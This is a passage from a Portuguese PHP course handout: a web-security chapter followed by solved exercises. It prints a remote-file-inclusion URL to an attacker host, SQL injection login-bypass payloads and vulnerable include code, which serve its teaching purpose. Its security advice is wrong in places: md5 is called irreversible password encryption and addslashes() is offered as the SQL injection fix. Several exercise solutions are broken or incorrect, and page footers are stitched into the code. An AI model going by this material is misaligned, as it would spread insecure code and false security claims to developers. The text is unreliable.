• Abuso no envio de e-mails (span) – é muito comum em sites um local para formulário de contato. Este é um recurso legal para que os clientes entrem em contato com os fornecedores rapidamente. Mensagens indesejáveis enviadas dessa forma fazem parte de um nicho muito particular de spans difíceis de combater. Para evitar esse tipo de transtorno filtre toda a entrada de dados do sistema.

• Ataques por upload de arquivo – é fundamental analisar a presença de vírus e códigos maliciosos no arquivo. Podemos verificar a extensão do arquivo, por exemplo, se estivermos esperando uma imagem aceitaríamos arquivos (.JPG, .PNG ou .GIF). Não seria necessário recebermos um arquivo (.EXE).

• CAPTCHA – é acrônimo de Completely Automated Public Turing Test To Tell Computers And Humans Apart (teste público completamente automatizado para distinguir computadores e humanos). É um tipo de teste pergunta-resposta usado em conjunto com o formulário para determinar se o usuário é um humano. Entre outras coisas, isso pode evitar que scripts também conhecidos como robôs possam acessar

Page 96: 58777500 Apostila PHP

Projeto E-JOVEM

97

determinadas partes de um site e colher informações. Veja um exemplo de captcha abaixo:

29.15. Inibindo a Exposição do código-fonte

O include() é uma das funções que traz maior poder para o desenvolvedor web, mas, se usarmos de forma incorreta, podemos ter sérios problemas relacionados a segurança.

• Não atribuir extensões aos arquivos se não .php, pois o Apache não reconhece extensões como .inc e outras usadas por programadores.

• Não armazená-los no diretório de trabalho do servidor web, definido pela diretriz DocumentRoot do apache HTTP Server.

29.16. Escondendo nomes de Arquivos

Usuários mal intencionados terão mais dificuldade de achar brechas de segurança caso não conheça detalhes de um website. Por essa razão, pode ser uma boa esconder a extensão dos arquivos.Veja o exemplo abaixo:

Vamos supor que ao clicar no menu, o usuário passe por parâmetro o arquivo que será incluído. Imagine o link assim:

HTTP://www.exemplo.com.br/?inc=../contato.php

<?

$inc = $_GET[‘inc’];

include($inc);

?>

Nesse exemplo encontramos os seguintes problemas:

• Usuário consegue ver o local onde estão armazenados os arquivos. • Extensões dos arquivos visíveis. • Por receber o caminho completo, podemos receber um caminho indesejável.

Poderíamos usar o mesmo link retirando a extenção do arquivo e colocando via php. Ficando assim:

HTTP://www.exemplo.com.br/?inc=contato

<?

Page 97: 58777500 Apostila PHP

Projeto E-JOVEM

98

$inc = $_GET[‘inc’];

include(‘../’. $inc .’.php’);

?>

Veja que com poucas alterações podemos esconder a extensão do arquivo e os diretórios onde estão localizados.

29.17. Evitando Injeção de Código

Uma pratica muito comum e uma das mais utilizadas, consiste em infiltrar um código de terceiros em seus scripts para ser executado no seu servidor. Exemplo:

HTTP://www.exemplo.com.br/?quiz=questao15.php

Nesse caso vemos que a variável quiz recebe um valor legitimo. A injeção de código acontece quando o atacante altera os dados da variável para inserir arquivos externos que certamente terão seus códigos maliciosos, alterando a chamada da url da seguinte forma:

HTTP://www.exemplo.com.br/?quiz=http://malicia.com.br/code.inc

Para evitar esse problema usaremos uma técnica conhecida como White list e Black list

29.18. White list

Técnica que se baseia numa lista em que estarão catalogados nomes de arquivos que podem ser incluídos em uma pagina por uso da função include() e suas variantes.

29.19. Black list

Técnica semelhante a White list, mas menos restritiva, afinal tem por objetivo informar quais arquivos não poderão ser inseridos. Seria fazer o contrario, onde os arquivos da Black list não poderiam ser incluídos. Logo percebemos que essa técnica é não é muito eficiente, pois o array teria que ser enorme.

29.20. Dados de Sessão Expostos

É muito comum que sites PHP sejam armazenados em servidores compartilhados, isso pode se tornar um problema quando as informações de sessões de clientes e fornecedores são armazenadas em áreas compartilhadas do servidor.

Ao iniciarmos uma sessão, criamos um arquivo de controle em um diretório no servidor web. É comum o uso do diretório /tmp. Nele serão armazenados os arquivos temporários. Entretanto esse diretório poderá ser usado por todos os usuários da maquina, ou seja, salvo pelas permissões atribuídas aos arquivos de dados de sessões, esses arquivos ficam expostos a

Page 98: 58777500 Apostila PHP

Projeto E-JOVEM

99

todos os usuários do servidor web. O problema é que nem sempre as empresas de hospedagem implementam permissões para os arquivos de sessões.

Uma alternativa é estabelecer que cada sistema instalado no servidor possua seu próprio diretório temporário para armazenar os arquivos. Isso pode não ser viável pois demanda configurações que os administradores de servidores compartilhados não estão sempre dispostos a fazer.

Outra forma é usar a função session_set_save_handler(), que alem de permitir o armazenamento dos dados de controle de sessão em uma tabela de banco de dados, pode auxiliar em uma outra alternativa para armazenar os dados de controle de sessões de forma criptografada.

29.21. Roubo de sessões

Basicamente existem três formas de conseguir a identificação de uma sessão:

• Presumi-la • Capturá-la • Defini-la

Presumir um identificador é um trabalho praticamente impossível, pois o PHP gera números de forma aleatória. A captura pode ser facilmente evitada usando criptografia entre o servidor web e o browser.

A fixação de sessões é um ataque que define previamente um identificador de sessão e geralmente é explorado em conjunto com técnicas de engenharia social.

29.22. Autenticação

Geralmente os mecanismos de autenticação usados são feitos em formulários, o que garante uma boa apresentação e personalização do sistema.

Mas também é possível usar o método de autenticação proveniente do protocolo HTTP. O PHP é capaz de receber as variáveis originadas da autenticação HTTP e tratá-las da maneira mais adequada para verificar a legitimidade das informações seja em um banco de dados, em um arquivo ou em um servidor LDAP.

Para que a autenticação HTTP seja possível, será necessário enviar os cabeçalhos correspondentes para o browser, e esse se comportará como se o próprio servidor web estivesse gerenciando a autenticação.

Page 99: 58777500 Apostila PHP

Projeto E-JOVEM

100

29.23. Criptografia

O php possui muitos recursos para embaralhar informações e, usado métodos tão sofisticados, torna impossível realizar a operação contraria. Como exemplo veremos a função md5() que retorna uma string criptografada.

<?php

echo md5(‘senha12345’);

?>

Quando quisermos verificar a senha digitada com a senha armazenada, basta aplicar a função md5() novamente.

29.24. SQL Injection

Sql infection é o uso por usuários não autorizados de queries arbitrarias, uma falha que está se tornando muito comum. A exploração dessa vulnerabilidade ocorre em razão dos deslizes cometidos pelo desenvolvedor. Para que ocorra SQL Injection são necessários dois problemas na programação:

• Falha no filtro para armazenar informações no banco de dados. • Falha ao filtrar informações recebidas do banco de dados.

Vamos supor que tenhamos um formulário de login e senha. Caso ao invés de preencher o login e senha corretamente, colocássemos o valor 1’ OR 1=’1 isso faria com que nossa sql ficasse da seguinte forma:

SELECT * FROM usuários WHERE login =’1’ OR 1=’1’ AND senha =’1’ OR 1=’1’

Como a opção OR 1=’1’ será sempre verdadeira, o resultado será todo o conteúdo da tabela usuários do bando de dados. Dessa forma o usuário efetuaria login com o primeiro registro retornado.

Também poderíamos entrar sabendo o login de alguém. Para isso ao invés de digitarmos 1’ OR 1=’1 digitaríamos admin’# . com isso, após o caractede #, todo o restante da query seria ignorado por ser um comentário de SQL. Veja como ficaria:

SELECT * FROM usuários WHERE login =’admin’# OR 1=’1’ AND senha =’1’ OR 1=’1’

Para resolver esses problemas precisamos filtrar corretamente as variáveis de entrada. Nesse caso o uso da função addslashes() do PHP resolveria o problema, pois as aspas não seriam tratadas como caracteres da query SQL.

Page 100: 58777500 Apostila PHP

Projeto E-JOVEM

101

29.25. Reagindo a Ameaças

O que fazer?

O mais correto é notificar os responsáveis pelos hosts envolvidos com o objetivo de que tomem conhecimento do ocorrido, procurem descobrir as causas e dêem solução ao problema.

Como fazer?

Precisamos saber quais são as partes envolvidas no ataque. Para isso, é fundamental ter logs que reportem os incidentes a fim de saber o endereço IP que originou o ataque. Então podemos acessar a base do whois que conhece o endereço IP que originou o ataque.

Existem diversos servidores de whois espalhados pela internet, um dos mais famosos pode ser encontrado em HTTP://www.pil.net/whois.html. basta informar o endereço IP no formulário para sabermos país, e-mail, endereço e nomes dos responsáveis.

Quando enviarmos um e-mail reportando o problema, precisamos ficar atento ao idioma. Caso não seja seu pais ou um pais que use a mesma língua que a sua. Prefira enviar em inglês. Será importante no e-mail enviar as seguintes informações:

• Informações de contato • Logs gerados pelo firewall e/ou Apache, se necessário. • Mensagens geradas pelo script PHP. • Demais informações relevantes.

29.26. Propriedade intelectual

Atualmente falasse muito em direitos autorais e violação de propriedade intelectual. Assim como existem pessoas interessadas em musicas, filmes, seriados, vídeos e etc. também existem pessoas em busca de conseguir códigos de programas. E se você escrever bons códigos corre um grande risco de ser algo dessas pessoas.

As técnicas vistas anteriormente, junto com capacidade de manter-se atualizado para eventuais problemas serão suficientes para uma boa segurança, desde que os códigos estejam armazenados em um servidor particular gerenciados por você.

Mas se escrevermos códigos para rodar em servidores terceiros, precisamos de alguma forma de obscurecer o código fonte. Para isso existem softwares que fazem esse trabalho, a maioria propõe realizar mais do que isso, sendo capazes de controle de licença e muito mais. O mais conhecido é o Zend Guard, produzido pela Zend Technologies Ltd. Instituição que mantem o PHP. Esse produto é a forma usada pela Zend de gerar renda e, assim, manter o projeto PHP.

Page 101: 58777500 Apostila PHP

Projeto E-JOVEM

102

Com isso chegamos ao fim com o conteúdo de PHP, você deve acessar o conteúdo educandus na web para obter mais detalhes sobre o que tiver dúvidas. Agora trazemos Exercícios resolvidos e propostos.

30. Exercícios Resolvidos 1. Qual a diferença entre include() e include_once() e entre require() e require_once()?

include() e require() inclui um arquivo na págine e include_once() e require_once() se arquivo já tenha sido incluído, não é feita a operação de incluir a página outra vez. E são case-insensitive se rodados no Windows.

2. Criar uma página simples com PHP:

<? echo "Hello world!"; ?>

3. Criar uma página HTML com script PHP incorporado:

<html> <head> <title>EXEMPLO</title> </head> <body> Linha em HTML <br> <? echo "Linha em PHP"; ?> </body> </html>

4. Criar uma página utilizando a função phpinfo: <? phpinfo(); ?>

5. Incluir comentários (para uma linha e para várias linhas) em uma página PHP: <? // comentando uma linha /* comentando várias linhas */ echo "teste"; ?>

Page 102: 58777500 Apostila PHP

Projeto E-JOVEM

103

6. Criar uma página utilizando constantes: SINTAXE: define (nome_da_constante,valor_da_constante);

<? define("meu_nome","Fulano"); define("meu_ra",123456789); echo "O meu nome é " .meu_nome; echo "<br>"; echo "O meu RA é " .meu_ra; ?>

7. Criar uma página utilizando variáveis: <? $base=5; $altura=3; $area=$base*$altura/2; echo "A base é: $base <br>"; echo "A altura é: $altura <br>"; echo "A área é: $area <br>"; ?>

8. Criar dois scripts para observar a diferença entre aspas duplas e aspas simples: <? $texto1="exemplo"; $texto2="Esse $texto1 utiliza aspas duplas"; echo $texto2; ?> <? $texto1="exemplo"; $texto2='Esse $texto1 utiliza aspas simples'; echo $texto2; ?>

9. Criar uma página utilizando caracteres de escape: <? $texto="Estou colocando \"aspas duplas\" dentro de uma string."; echo $texto; ?>

10. Criar uma página utilizando arrays ("vertical"): <? $uninove[0]="Vila Maria"; $uninove[1]="Memorial"; $uninove[2]="Vergueiro"; echo $uninove[0]; echo "<br>"; echo $uninove[1]; echo "<br>"; echo $uninove[2]; ?>

Page 103: 58777500 Apostila PHP

Projeto E-JOVEM

104

11. Criar outra página utilizando arrays ("horizontal"): <?

$uninove=array(0=>"Vila Maria",1=>"Memorial",2=>"Vergueiro"); echo $uninove[0]; echo "<br>"; echo $uninove[1]; echo "<br>"; echo $uninove[2];

?> 12. Suponha que uma aplicação WEB, escrita em PHP, receba dados livres do usuário em um

campo de formulário. Os dados recebidos são armazenados em uma variável "entrada", que é inserida diretamente, sem filtros, na consulta abaixo.

$consulta = "SELECT * FROM localidades WHERE nome='$entrada'";

Em seguida, a aplicação executa essa consulta no banco de dados. Desconsiderando mecanismos de defesa no banco de dados ou configurações especiais no servidor PHP, essa aplicação é vulnerável a ataques do tipo:

a) Slash Overflow

b) SQL Injection

c) PHP Leak

d) PHP Bypass

e) Smurf

13. Crie um script php para fazer a seqüência de fibonacci: <?php function gera_seq_fibonacci($n,$qtd) { $x = $n; for($i=1; $i <= $qtd; $i++) { $z = $x + $y; $x = $y; $y = $z; $seq[$i] = $z; }// end for.

Page 104: 58777500 Apostila PHP

Projeto E-JOVEM

105

return $seq; }// end gera_seq_fibonacci. /* Testando a função */ echo "<pre>"; print_r($fibonacci = gera_seq_fibonacci(1,20)); ?> 14. Faça script que imprima os dados do formulário abaixo <form action="acao.php" method="POST"> Seu nome <input type="text" name="nome" /> Sua idade: <input type="text" name="idade" /> <input type="submit"> </form>

Oi <?php echo $_POST["nome"]; ?>. Você tem <?php echo $_POST["idade"]; ?> anos.

15. Faça script que recebe nome e idade do usuário e os imprime na tela.

<?php $nome = 'Fulano'; $idade = 35; echo 'Eu sou '.$nome.' e tenho '.$idade.' anos.'; ?>

16. Faça script que escreva frases em html e PHP.

<html> <title>Exercicio 16</title> <body> A primeira linha e <u>normal</u>. <br>

<? echo " A segunda linha ja e escrita pelo <b>PHP</b>." ; ?> <br>

Nisto, vem uma <font color=#FF0000>terceira mais complexa</font>... <br>

<? echo " E logo a <font color=#00FF00>seguir</font>, a quarta <font color=#0000FF>ainda mais</font> complicada!" ; ?><br>

Page 105: 58777500 Apostila PHP

Projeto E-JOVEM

106

</body> </html>

17. Escreva scrpt php para enviar arquivos para um servidor via ftp:

<?php $ftp_server = "ftp.example.com"; $ftp_user = "foo"; $ftp_pass = "bar"; $conn_id = ftp_connect($ftp_server); // login with username and password $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); // upload a file if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) { echo "successfully uploaded $file\n"; } else { echo "There was a problem while uploading $file\n"; } // close the connection ftp_close($conn_id); ?>

18. Faça script para manusear variaveis alterando cor e também atribuindo valores, ao final imprima os resultados:

<html> <title>Exercicio 2</title> <body>

Exemplo de utilizacao de variaveis: <br><br>

<? $inteiro=10; $real=20.0; $caracter= 'V'; $cor1= "#FF0000"; $cor2= "#0000FF"; ?>

<font color= <? echo $cor1 ?>> A variavel $inteiro tem o valor <? echo $inteiro ?>.</font> <br> <font color= <? echo $cor2 ?>> A variavel $real tem o valor <? echo $real ?>. </font>

Page 106: 58777500 Apostila PHP

Projeto E-JOVEM

107

<br> <font color= <? echo $cor1 ?>> O caracter escolhido e o <? echo $caracter ?>.</font> <br>

</body> </html>

19. Faça um scrpt no qual você concatene duas variáveis e as imprima na tela.

<?php

$txt1="Hello World";

$txt2="1234";

echo $txt1 . " " . $txt2;

?>

20. Faça script que imprima na tela "Tenha um bom fim-de-semana!" Se o dia atual é sexta-feira, caso contrário ele irá imprimir "Tenha um bom dia!":

<html> <body> <?php $d=date("D"); if ($d=="Fri") echo "Have a nice weekend!"; else echo "Have a nice day!"; ?> </body> </html>

21. Faça script que imprima “hello word” 5 vezes.

<html> <body> <?php for ($i=1; $i<=5; $i++) { echo "Hello World!<br />"; } ?> </body> </html>

Page 107: 58777500 Apostila PHP

Projeto E-JOVEM

108

22. Faça um script que envie arquivos via upload. <form enctype="multipart/form-data" name="frmUpload" action="upload.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="3000"> <input type="file" name="foto" value=""> <input type="submit" value="Enviar"> </form> <? print $_FILE[‘foto’][‘name’]; // imprime o nome original do arquivo no computador do usuário. print $_FILE[‘foto’][‘ type’]; // O tipo mime do arquivo, se o browser deu esta informação. Um exemplo pode ser "image/gif". print $_FILE[‘foto’][‘ size’]; // O tamanho, em bytes, do arquivo. print $_FILE[‘foto’][‘ tmp_name’]; // O nome temporário do arquivo, como foi guardado no servidor.

print $_FILE[‘foto’][‘ error’]; // O código de erro associado a este upload de arquivo. ['error'] foi adicionado no PHP 4.2.0 ?> 23. O que são variáveis pré-definidas? São variaveis contendo uma referencia padrão do PHP, por exeplo: $GLOBALS, $_GET, $_POST, $_COOKIE E OUTRAS. 24. Por meio de qual keyword você pode usar uma variável definida no script dentro de uma função? Pela keyword dollar ($). 25. Se eu tenho uma página com frames (quadros) onde em uma página é definida uma variável de sessão, eu conseguirei resgatar a variável de sessão em uma outra página paralela que está em outro servidor? Por quê? NÃO. PORQUE Isso somente durará até o fechamento do browser. 26. Quais as principais vantagens das sessions sobre os cookies em relação à segurança? SESSIONS, como visto no modulo, só dura enquanto não fechar o browser ao passo que o cookie fica na maquina por um periodo definido pelo programador ou definido pelo padrão.

Page 108: 58777500 Apostila PHP

Projeto E-JOVEM

109

27. Quais as diferenças entre sessões e cookies? Sessões, podemos buscar em banco de dados de forma segura, ao paso que os cookies podem ser excluidos pelo usuario da máquina, perdendo desta forma os dados gravados anteriormente. 28. O que o script abaixo irá mostrar: PHP

$frase = "O PHP é uma linguagem"; function mostraValor() { global $frase; $frase .= " de programação"; echo $frase; } mostraValor();

O PHP é uma linguagem de programação 29. Crie um cookie que dure 6 meses para expirar <? setcookie("cookie", "teste", time() + 3600*24*182); ?> 30. Faça script para gerar login e senhas aleatórios: <html> <head> <title>Autenticação com arquivo texto</title> </head> <body text="#003399" link="#006633" alink="red" vlink="steelblue"> <? print_r($_GET); print '<br>'; if (intval($_GET[tam]) <= 0) $_GET[tam] = 8; # podemos modificar o vetor $_GET print_r($_GET); print '<br>'; if (intval($_GET[qtde]) > 0) ListaUsuariosSenhas($_GET[qtde]); else

Page 109: 58777500 Apostila PHP

Projeto E-JOVEM

110

ListaUsuariosSenhas(); # gera uma string aleatória com $tam caracteres function GeraString () { global $_GET; $_GET[tamanhonovo] = 15; $str = ''; for ($i = 1; $i <= $_GET[tam]; $i++) { if ($i % 2 == 0) $str .= GeraVogal(); else $str .= GeraConsoante(); } return ($str); } # gera uma vogal aleatória function GeraVogal () { $ascii_vogal = array(97, 101, 105, 111, 117); $vogal = chr($ascii_vogal[rand(0,4)]); return ($vogal); } # gera uma consoante aleatória function GeraConsoante () { $ascii_consoante = PHP e MySQL - Verão IME-USP - 2006 Prof. Thiago Rodrigo Carneiro exercicios-2006-6.php 1/2 80 81 array(98,99,100,102,103,104,106,107,108,109,110,112,113,114,115,1 16,118,119,120,121,122); $consoante = chr($ascii_consoante[rand(0,20)]); return ($consoante); } # listagem de usuários e senhas function ListaUsuariosSenhas ($qtde = 10) { for ($j = 1; $j <= $qtde; $j++) { $usuario = GeraString(); $senha = GeraString(); $senhas[$usuario] = $senha; print $usuario.' - '.$senha.'<br>'; } if (sizeof($senhas) == $qtde) return TRUE; return FALSE; } # o vetor $_GET pode ser modificado dentro de uma função quando declarado como global print_r($_GET); print '<br>'; ?> </body> </html>

Page 110: 58777500 Apostila PHP

Projeto E-JOVEM

111

31. Script para alterar um arquivo Remoto <html> <head> <title>Abertura de arquivo remoto</title> </head> <body text="#003399" link="#006633" alink="red" vlink="steelblue"> if (!isset($_REQUEST[acao])) { print '<form action="'.$_SERVER[PHP_SELF].'" method="POST">'."\n"; print '<input type="hidden" name="acao" value="abrir">'."\n"; print 'Nome do arquivo: <input name="nomearquivo" value=""><br>'."\n"; print '<input type="submit" value="Abrir">'."\n"; print '</form>'."\n"; } elseif ($_POST[acao] == 'abrir') { if (!file_exists ($_REQUEST[nomearquivo])) $erro = '<p>O arquivo <b>'.$_REQUEST[nomearquivo].'</b> não existe.</p>'; elseif (filesize ($_REQUEST[nomearquivo]) > 51200) $erro = '<p>O tamanho do arquivo é superior a 50KB.</p>'; elseif (!eregi('^[A-Za-z0-9_\.]+$', $_REQUEST[nomearquivo])) $erro = '<p>Nome de arquivo contém caracteres inválidos (os caracteres permitidos são letras, números, . e _.</p>'; if (!isset($erro)) { $arq = file ($_REQUEST[nomearquivo]); print '<form action="'.$_SERVER[PHP_SELF].'" method="POST">'."\n"; print '<input type="hidden" name="acao" value="salvar">'."\n"; print '<input type="hidden" name="nomearquivo" value="'.$_REQUEST[nomearquivo].'">'."\n"; print '<textarea name="conteudo" cols="72" rows="15">'; foreach ($arq as $numlinha => $contlinha) print $contlinha; print '</textarea><br>'."\n"; print '<input type="submit" value="Salvar">'."\n"; print '</form>'."\n"; } else print $erro."\n"; } elseif ($_POST[acao] == 'salvar' && eregi('^http://cursophp\.thiagorodrigo\.com\.br'.$_SERVER[PHP_SELF].'$', $_SERVER[HTTP_REFERER])) { if ($pipe = fopen ($_REQUEST[nomearquivo], "w")) { fputs ($pipe, $_REQUEST[conteudo]); fclose ($pipe); print '<p>Arquivo '.$_REQUEST[nomearquivo].' editado com sucesso!</p>'."\n".'<a href="'.$_SERVER[PHP_SELF].'">Editar outro arquivo</a>'."\n"; } else print '<p>Erro ao salvar o arquivo. <a href="javascript:history.back();">Voltar à página anterior</a>.</p>'; }; ?> </body> </html>

Page 111: 58777500 Apostila PHP

Projeto E-JOVEM

112

32 Faça script para imprimir e manipular datas: <? print "Hoje é ".date("d.m.Y")." às ".date("H:i:s")."<br>"; # imprime instruções print "<p>O formulário de inscrição só estará disponível até às 20.18hs de 03/02/2005. Faça a sua inscrição rapidamente!</p>"; # guarda timestamp atual $atual = time(); # guarda timestamp da data limite $limite = mktime(20,18,0,2,3,2005); # imprime formulário até a data limite if ($atual <= $limite) print "<p>Oba, eu posso acessar o formulário!</p>"; else print "<p>O prazo para as inscrições já se encerrou!</p>"; # saudação conforme a hora do dia $hora = intval(date("H")); if ($hora >= 0 && $hora < 6) $saudacao = "Vai dormir!"; elseif ($hora >= 6 && $hora < 12) $saudacao = "Acordou bem?"; elseif ($hora >= 12 && $hora < 18) $saudacao = "Daqui a pouco é hora de ir para casa ..."; else $saudacao = "Boa noiteeeee!"; print $saudacao;

?> 33. Faça um script para gerar números para loteria:

<? if (!isset($_GET[urna]) || intval($_GET[urna]) <= 0) $_GET[urna] = 100; // total de números na urna if (!isset($_GET[sorteio]) || intval($_GET[sorteio]) <= 0) $_GET[sorteio] = 10; // total de números a serem sorteados # sorteio dos números for ($n = 1; $n <= $_GET[sorteio]; $n++) { do { $bola = rand (1, $_GET[urna]); } while ($sorteado[$bola] == TRUE); $sorteado[$bola] = TRUE; } # após o sorteio, suponha que sorteamos 3, 8, 17, 18 e 25. Deste modo, $sorteado será assim: # $sorteado[3] = TRUE, $sorteado[8] = TRUE, ... até $sorteado[25] = TRUE e não há outras posições preenchidas # imprime números sorteados print 'Os números sorteados foram: '; ksort($sorteado); // ordena vetor foreach ($sorteado as $num => $status) print $num.' '; ?>

Page 112: 58777500 Apostila PHP

Projeto E-JOVEM

113

34. Faça um script para simular o sorteio de bingo <? if (!isset($_REQUEST[c]) || intval($_REQUEST[c]) < 2 || intval($_REQUEST[c] > 8)) $_REQUEST[c] = 5; # número de dezenas d if (!isset($_REQUEST[d]) || intval($_REQUEST[d]) < 10 || intval($_REQUEST[c] > 100) || $_REQUEST[d] <= $_REQUEST[c]*$_REQUEST[c]) $_REQUEST[d] = 100; # gerando a cartela function GeraCartela() { global $_REQUEST, $cartela; for ($a = 1; $a <= $_REQUEST[c]; $a++) { for ($b = 1; $b <= $_REQUEST[c]; $b++) { $sorteado = Sorteio($tanacartela); $tanacartela[$sorteado] = 1; $cartela[$a][$b] = $sorteado; } } } # imprimindo a cartela function ImprimeCartela($cartela) { global $_REQUEST; print '<table>'; for ($a = 1; $a <= $_REQUEST[c]; $a++) { print '<tr>'; for ($b = 1; $b <= $_REQUEST[c]; $b++) print '<td>'.$cartela[$a][$b].'</td>'; print '</tr>'; } print '</table>'; } # imprime cartela preenchida function ImprimeCartelaPreenchida($cartela, $tanobingo) { global $_REQUEST; print '<table>'; for ($a = 1; $a <= $_REQUEST[c]; $a++) { print '<tr>'; for ($b = 1; $b <= $_REQUEST[c]; $b++) if ($tanobingo[$cartela[$a][$b]] == 1) print '<td><b>'.$cartela[$a][$b].'</b></td>'; else print '<td>'.$cartela[$a][$b].'</td>'; PHP e MySQL - Verão IME-USP - 2007 Prof. Thiago Rodrigo Carneiro print '</tr>'; } print '</table>'; } # sorteia um novo número function Sorteio($lista) { global $_REQUEST; do { $sorteado = rand(1, $_REQUEST[d]); #print $sorteado.' ';

Page 113: 58777500 Apostila PHP

Projeto E-JOVEM

114

#print_r ($lista); } while ($lista[$sorteado] == 1); return ($sorteado); } # confere cartela após uma nova jogada function ConfereCartela ($cartela, $tanobingo) { global $_REQUEST, $ondeganhou; # confere linhas for($i = 1; $i <= $_REQUEST[c]; $i++) { $podeacertar = 1; for($j = 1; $j <= $_REQUEST[c]; $j++) if (!isset($tanobingo[$cartela[$i][$j]])) $podeacertar = 0; if ($podeacertar == 1) { $ondeganhou = 'linha '.$i; return (TRUE); }; } # confere colunas for($i = 1; $i <= $_REQUEST[c]; $i++) { $podeacertar = 1; for($j = 1; $j <= $_REQUEST[c]; $j++) if (!isset($tanobingo[$cartela[$j][$i]])) $podeacertar = 0; if ($podeacertar == 1) { $ondeganhou = 'coluna '.$i; return (TRUE); }; } # confere diagonal principal $podeacertar = 1; for($i = 1; $i <= $_REQUEST[c]; $i++) { if (!isset($tanobingo[$cartela[$i][$i]])) $podeacertar = 0; } if ($podeacertar == 1) { $ondeganhou = 'diagonal principal'; return (TRUE); }; PHP e MySQL - Verão IME-USP - 2007 Prof. Thiago Rodrigo Carneiro exercicios-2007-5.php 2/3 # confere diagonal secundária $podeacertar = 1; for($i = 1, $j = $_REQUEST[c]; $i <= $_REQUEST[c] && $podeacertar == 1; $i++, $j--) { if (!isset($tanobingo[$cartela[$i][$j]])) $podeacertar = 0; } if ($podeacertar == 1) { $ondeganhou = 'diagonal principal'; return (TRUE); }; return (FALSE); } ?> <html>

Page 114: 58777500 Apostila PHP

Projeto E-JOVEM

115

<head> <title>IME-USP, Verão 2007, PHP e MySQL - Exercício 5</title> </head> <body text="#660099" link="#3399CC" alink="#FF6600" vlink="#66CC00"> <? # Atenção jogadores: está começando o bingo! Boa sorte! GeraCartela(); $ganhou = FALSE; for ($d = 1; $ganhou == FALSE; $d++) { $sorteio[$d] = Sorteio($tanobingo); $tanobingo[$sorteio[$d]] = 1; $ganhou = ConfereCartela($cartela, $tanobingo); } print '<h1>Cartela</h1>'; ImprimeCartela($cartela); print '<h1>Números sorteados</h1>'; print '<p>'.implode(' - ', ($sorteio)).'.</p>'; print '<p>Você ganhou na '.$ondeganhou.'</p>'; ImprimeCartelaPreenchida($cartela,$tanobingo); ?> 35. Faça script que gere numeros randômicos e faça as quatro operações, onde o resultado deve ser impresso na tela. <? $a = rand (0,10); $b = rand (1,10); $soma = $a + $b; $diferenca = $a - $b; $produto = $a * $b; $quociente = $a / $b; $resto = $a % $b; # arredonda o quociente para duas casas decimais $quociente = round ($quociente, 2); print "<p>Os números sorteados foram <b>".$a."</b> e <b>".$b."</b>.</p>"; print "<p>A soma é ".$soma.".</p>"; print "<p>A diferença é ".$diferenca.".</p>"; print "<p>O produto é ".$produto.".</p>"; print "<p>O quociente da divisão é ".$quociente.".</p>"; print "<p>O resto é ".$resto.".</p>"; ?>

31. Exercícios Propostos

1. Faça um formulário em PHP para cadastro de colaboradores (funcionários). Um

colaborador pode ter de 0 a 5 dependentes. Para cada um dos dependentes você deverá

armazenar as informações: Nome, sexo (“F”, “M”) e ano de nascimento.

•Dica:

Page 115: 58777500 Apostila PHP

Projeto E-JOVEM

116

–Desenhe um formulário só para funcionário, no qual você colherá o número de

dependentes;

–No formulário seguinte desenhe um campo nome, sexo, e ano de nascimento

para cada um dos dependentes;

–Associe os nomes dos campos a um vetor.

2. Foi visto em aula que formulários HTML podem enviar dados a um servidor Web por

dois métodos: GET e POST. Pergunta: Em um mesmo formulário HTML, pode-se

configurá-lo para enviar dados utilizando ambos os métodos? (Pesquise!)

3. Escreva um algoritmo que leia dois números e imprima o produto desses números.

4. Faça um algoritmo para ler dois números e mostrar o maior deles.

5. Faça um algoritmo que leia o nome e idade de N pessoas e mostre:

• A soma das idades;

• A média das idades;

• Quem é a pessoa mais velha e qual a sua idade;

• Quem é a pessoa mais nova e qual a sua idade.

6. Escreva um algoritmo que leia dois números que deverão ser colocados, respectivamente,

nas variáveis $va e $vb. O algoritmo deve, então, trocar os valores de $va por $vb e vice-

versa. Imprima posteriormente o conteúdo destas variáveis.

7. Faça um algoritmo que leia valores para as variáveis $a, $b e $c e mostre o resultado da

seguinte expressão:

( $a - $b ) * $c

8. Faça um algoritmo que mostre o resultado da expressão abaixo:

( ( $x - 5 ) * y ) – z

9. Faça um algoritmo que tenha três variáveis $a, $b e $c. Desenvolva um programa que

leia:

• Valores para as três variáveis;

Page 116: 58777500 Apostila PHP

Projeto E-JOVEM

117

• Peça do usuário uma expressão que ele deseje que seja impressa (Dica: Pesquise

se existe em PHP uma função para tal para tal propósito).

• Eventualmente o usuário de sua página pode desejar testar outras expressões.

Guarde o valor das variáveis nas postagens seguintes.

10. Faça um algoritmo que leia duas notas, seus respectivos pesos e mostre o valor de sua

média ponderadas.

( nota1 * peso da nota1 ) + ( nota 2 * peso da nota 2 )

Média Ponderada =

soma dos pesos

11. Faça o mesmo algoritmo acima para N notas com seus respectivos N pesos.

12. Maria quer saber quantos litros de gasolina precisa colocar em seu carro e quanto vai

gastar para fazer uma viagem até a casa de sua irmã. Dados que precisam ser solicitados a

Maria:

• Distância de sua casa até a casa de sua irmã;

• Qual o consumo de seu carro em Kilômetros por litro [km/l];

• Qual o preço da gasolina no posto onde ela abastece.

13. Faça um algoritmo que leia um valor inteiro em segundos e forneça como resultado esse

valor no formato hh:mm:ss

14. Faça um algoritmo que leia três comprimentos de aresta de um susposto triãngulo. Seu

algoritmo deve informar:

• Se as arestas dadas podem ou não formar um triângulo;

• Caso afirmativo, que tipo de triângulo: equilátero, isóceles ou escaleno;

• Ainda no caso afirmativo, qual o valor dos ângulos entre as arestas.

Lembre-se que:

• O comprimento de cada lado de um triângulo é menor que a soma dos

comprimentos dos outros dois lados;

Page 117: 58777500 Apostila PHP

Projeto E-JOVEM

118

• Um triângulo é eqüilátero quando o comprimento de seus três lados são iguais;

• Um triângulo é isósceles quando o comprimento de dois de seus lados são iguais;

• Um triângulo é escaleno quando o comprimento de seus três lados diferem entre

si.

15. Escreva um programa de ajuda para vendedores. A partir de um valor total recebido,

deve-se calcular:

• O total a pagar com desconto de 10%;

• O valor de cada parcela, no parcelamento de 3X sem juros;

• A comissão do vendedor, no caso da venda ser a vista (5% sobre o valor do

desconto);

• A comissão do vendedor, no caso da venda ser parcelada (5% sobre o valor total).

16. Escreva um programa que leia um número de 0 a 99 e mostre o seu correspondente por

extenso.

17. Escreva um programa que leia uma data de nascimento (dia, mês e ano) e indique qual o

signo da pessoa em questão. Dados:

Signo Período

